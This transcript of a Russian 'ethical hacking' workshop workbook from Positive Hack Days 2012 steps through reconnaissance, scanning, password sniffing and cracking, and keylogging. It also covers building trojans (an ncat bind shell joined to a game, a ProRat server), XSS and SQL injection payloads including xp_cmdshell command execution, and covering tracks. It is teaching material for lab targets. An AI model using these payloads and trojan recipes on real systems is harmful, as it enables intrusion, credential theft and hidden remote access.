Этичный хакинг

16
Positive Hack Days 2012 Сергей Клевогин 1 Этичный хакинг. Рабочая тетрадь. Практическая работа 0. Методология СЕН. Убедиться, что по методологии СЕН хакинг состоит из нескольких фаз: 1. Сбор данных 2. Сканирование и перечисление 3. Взлом системы и сервисов 4. Поддержка доступа 5. Скрытие следов Для этого в Google набрать «Ethical Hacking Phases», перейти по первой же ссылке http://hack-o-crack.blogspot.com/2010/12/five-stages-of-ethical-hacking.html Посмотреть на текст. Определить на какой фазе хакинга находится использование троянов, а на какой Metasploit.

Upload: positive-hack-days

Post on 12-Jun-2015

2.378 views

Category:

Technology


7 download

TRANSCRIPT

Page 1: Этичный хакинг

Positive Hack Days 2012 Сергей Клевогин

1

Этичный хакинг. Рабочая тетрадь.

Практическая работа 0. Методология СЕН.

Убедиться, что по методологии СЕН хакинг состоит из нескольких фаз:

1. Сбор данных

2. Сканирование и перечисление

3. Взлом системы и сервисов

4. Поддержка доступа

5. Скрытие следов

Для этого в Google набрать «Ethical Hacking Phases», перейти по первой же ссылке

http://hack-o-crack.blogspot.com/2010/12/five-stages-of-ethical-hacking.html

Посмотреть на текст.

Определить на какой фазе хакинга находится использование троянов, а на какой Metasploit.

Page 2: Этичный хакинг

Positive Hack Days 2012 Сергей Клевогин

2

Практическая работа 1. Сбор данных.

Задача 1.

Убедиться, что существует Google Hacking Data Base.

Для этого в Google набрать «GHDB», перейти по первой же ссылке

http://www.hackersforcharity.org/ghdb/

Просмотреть различные типы запросов, позволяющие обнаружить:

Бюллетени и уязвимости

Сообщения об ошибках

Файлы, содержащие интересную информацию

Файлы, содержащие пароли

Файлы, содержащие имена пользователей

Страницы-плацдармы

Страницы входа в порталы

Страницы, содержащие данные о сети или уязвимостях

Важные каталоги

Важная информация о покупках в Интернете

Различные онлайн устройства

Уязвимые файлы

Уязвимые серверы

Сведения о веб-сервере

Покликать по ссылкам, чтобы посмотреть примеры запросов каждого типа.

Перейти к сообщениям об ошибках:

http://www.hackersforcharity.org/ghdb/?function=summary&cat=10

Обнаружить последнюю запись в базе данных. Обратить внимание на дату записи.

Для интереса перейти по первой ссылке

http://www.hackersforcharity.org/ghdb/?function=detail&id=143

и поискать в Google « intitle:”Nessus Scan Report” “This file was generated by Nessus” »:

Обнаружить уже готовый отчет об уязвимостях Nessus.

Проверить, не притаился ли подобный отчет об уязвимостях на сайте вашей организации.

Page 3: Этичный хакинг

Positive Hack Days 2012 Сергей Клевогин

3

Задача 2.

Поискать более новую базу данных GHDB.

Для этого в Google набрать «GHDB 2012», перейти по первой же ссылкe

http://www.exploit-db.com/google-dorks/

Обратить внимание на последние записи «Latest Google Hacking Entries».

Сравнить различные типы запросов с предыдущим списком. Не найти отличий.

Снова покликать по ссылкам, чтобы посмотреть примеры запросов каждого типа.

Перейти к сообщениям об ошибках:

http://www.exploit-db.com/google-dorks/7/

Перейти по первой ссылке

http://www.exploit-db.com/ghdb/3785/

и поиcкать в Google «inurl:"*.php?*=*.php" intext:"Warning: include" -inurl:.html -site:"php.net" -

site:"stackoverflow.com" -inurl:"*forums*"»

Найти реальный сервер в Интернете с сообщением об ошибке. Заглянуть на главную страницу

сайта. Оценить приличность дизайна.

Проверить, нет ли страниц с подобной ошибкой на сайте вашей организации.

Page 4: Этичный хакинг

Positive Hack Days 2012 Сергей Клевогин

4

Задача 3.

Познакомиться с Search Diggity.

http://www.stachliu.com/resources/tools/google-hacking-diggity-project/attack-tools/

Скачать и установить SearchDiggity. Пока устанавливается почитать справку.

Запустить SearchDiggity, идентифицировать элементы интерфейса.

Следуя указаниям справки:

Создать API ключ. Завести аккаунт в Google, если его еще нет;

Создать Google Custom Search ID;

Выбрать сайт в окошке выбора сайта справа;

Запустить сканирование вашего сайта, выбрав запросы GHDB.

Добиться результата подобного этому:

Изучить другие возможности DiggitySearch.

Page 5: Этичный хакинг

Positive Hack Days 2012 Сергей Клевогин

5

Задача 4.

Выкачать сайты Cars и Brown себе на компьютер.

Для этого скачать и установить httrack.

После установки обнаружить на компьютере графический интерфейс WinHTTrack

и средство командной строки httrack .

Один сайт загрузите, используя WinHTTrack, другой с использованием httrack.

Чтобы посмотреть синтаксис httrack используем

httrack --help

Page 6: Этичный хакинг

Positive Hack Days 2012 Сергей Клевогин

6

Практическая работа 2. Сканирование и перечисление.

Задача 0.

Познакомиться с теорией сканирования.

Для этого:

познакомиться с RFC 791, 792, 793. ( http://www.rfc-editor.org/ )

Зайти на сайт nmap:

http://nmap.org/man/ru/man-port-scanning-techniques.html

Познакомиться с основными приемами сканирования портов.

Добавить ссылку в избранное, чтобы потом повторно перечитать.

Узнать, что такое перечисление и какое оно бывает.

Для этого запомнить, что бывает:

Перечисление NetBIOS

Перечисление SNMP

Перечисление UNIX

Перечисление LDAP

Перечисление NTP

Перечисление SMTP

Перечисление DNS

Page 7: Этичный хакинг

Positive Hack Days 2012 Сергей Клевогин

7

Задача 1. Просканировать сеть, обнаружить учебный веб-сервер.

Для этого скачать и установить nmap.

Изучить синтаксис nmap:

nmap --help

Запустить сканирование из интерфейса

командной строки:

nmap 192.168.1.0/25 -p80

Обнаружить системы с открытым 80 портом

Запустить сканирование из графического интерфейса и посмотреть результат.

Задача 2.

Обнаружить шлюз по умолчанию на целевой системе со включенным SNMP.

Для этого познакомиться с RFC1213, RFC 1157 и синтаксисом snmputil

Чтобы узнать шлюз нужно выполнить команду:

snmputil get CEH public .1.3.6.1.2.1.4.21.1.7.0.0.0.0

Page 8: Этичный хакинг

Positive Hack Days 2012 Сергей Клевогин

8

Практическая работа 3. Хакинг системы.

Задача 0.

Познакомиться с архитектурой операционной системы.

Для этого в Google набрать «Архитектура Windows» и кликнуть Картинки

Картинки обычно сопровождаются статьями с полезной информацией.

То же самое повторить с архитектурой Linux/Unix.

Сделать вывод,что система взаимодействует с внешним миром через:

драйверы, компоненты ядра (и даже прошивки оборудования);

сетевые сервисы;

клиентские приложения, которые обращаются на чужой сервер;

любые приложения, которые скачиваются и запускаются в системе (трояны).

Page 9: Этичный хакинг

Positive Hack Days 2012 Сергей Клевогин

9

Задача 1.

Подсмотреть пароль, передаваемый по сети.

Для этого скачать и установить Wireshark (http://www.wireshark.org )

Подключиться к любому серверу по любому незащищенному протоколу, требующему

аутентификацию.

Найти пароль в дампе Wireshark.

Если это пароль доменной учетной записи, то однажды подсмотренный через незащищенный

протокол, может быть использован через любой другой протокол.

Задача 2.

Подсмотреть все пароли, передаваемые по сети.

Скачать и установить Cain & Abel (http://www.oxid.it/cain.html )

Запустить сниффер.

Проявить сетевую активность, обратить внимание на захваченные пароли.

Page 10: Этичный хакинг

Positive Hack Days 2012 Сергей Клевогин

10

Задача 3.

Атаковать хэши паролей.

В Cain & Abel на вкладке Cracker импортировать хэши паролей с локального компьютера.

Провести атаку на пароли локальных пользователей по словарю и брут-форсом.

Page 11: Этичный хакинг

Positive Hack Days 2012 Сергей Клевогин

11

Задача 4. Использование кейлоггера.

Установить PuntoSwitcher (http://punto.yandex.ru )

Включить возможность ведения дневника.

Увидеть, как в дневнике отображаются пароли.

Page 12: Этичный хакинг

Positive Hack Days 2012 Сергей Клевогин

12

Практическая работа 4. Поддержка доступа.

Задача 1.

Создать трояна, открывающего shell.

Для этого используя MicroJoiner объединить игру Gamux.exe с

ncat -l 8888 –e cmd

После запуска игры к компьютеру можно подключиться из командной строки:

ncat 192.168.1.14 8888

Page 13: Этичный хакинг

Positive Hack Days 2012 Сергей Клевогин

13

Задача 2.

Создать трояна с помощью ProRat

Для этого скачать и запустить ProRat (http://www.prorat.net/downloads.php )

Сделать сервер, используя настройки по умолчанию и без уведомлений.

Запустить сервер, початиться с жертвой.

Page 14: Этичный хакинг

Positive Hack Days 2012 Сергей Клевогин

14

Практическая работа 5. Взлом веб-сервера посредством XSS

Задача 1.

Протестировать сайт Cars на возможность XSS.

Для этого попробовать добавить в Feedback сообщение:

hello <script>alert("PREVED")</script>

Задача 2.

Протестировать сайт Brown на возможность XSS.

Для этого попробовать добавить в Feedback сообщение:

hello <script>alert("PREVED")</script>

Page 15: Этичный хакинг

Positive Hack Days 2012 Сергей Клевогин

15

Практическая работа 6. Взлом посредством SQL - инъекции

Задача 0.

Познакомиться с теорией SQL инъекций.

Для этого можно использовать различные источники (http://ru.wikipedia.org/wiki )

Задача 1.

Обойти аутентификацию.

Для этого в форме ввода логина можно попробовать SQL инъекцию:

blah' or 1=1 --

Задача 2.

Идентифицировать число столбцов таблицы login_t базы данных Cars.

Для этого в форме ввода логина пробуем SQL инъекцию:

1' UNION SELECT 1,..,N ;-- и следим за логикой приложения

При инъекции 1' UNION SELECT 1,2,3 ;--

ответ приложения изменится, значит, сервер принял запрос и в таблице три поля.

Page 16: Этичный хакинг

Positive Hack Days 2012 Сергей Клевогин

16

Задача 3.

Создать пользователя в базе данных SQL.

Для этого будем пробовать различные SQL инъекции:

blah';insert into login_t values ('xaker','123');--

В случае успешной инъекции получится зайти в систему с новой учетной записью.

Задача 4.

Выполнить команду на сервере.

Потестируем возможности выполнения различных команд. Например,

'; exec master..xp_cmdshell 'ipconfig/all > C:\inetpub\wwwroot\brown\ipconfig.txt';--

В случае успеха результат команды будет доступен через URL

http://ceh/Brown/ipconfig.txt

Практическая работа 7. Скрытие следов.

Удалить все программы и временные файлы, почистить логи и ключи реестра.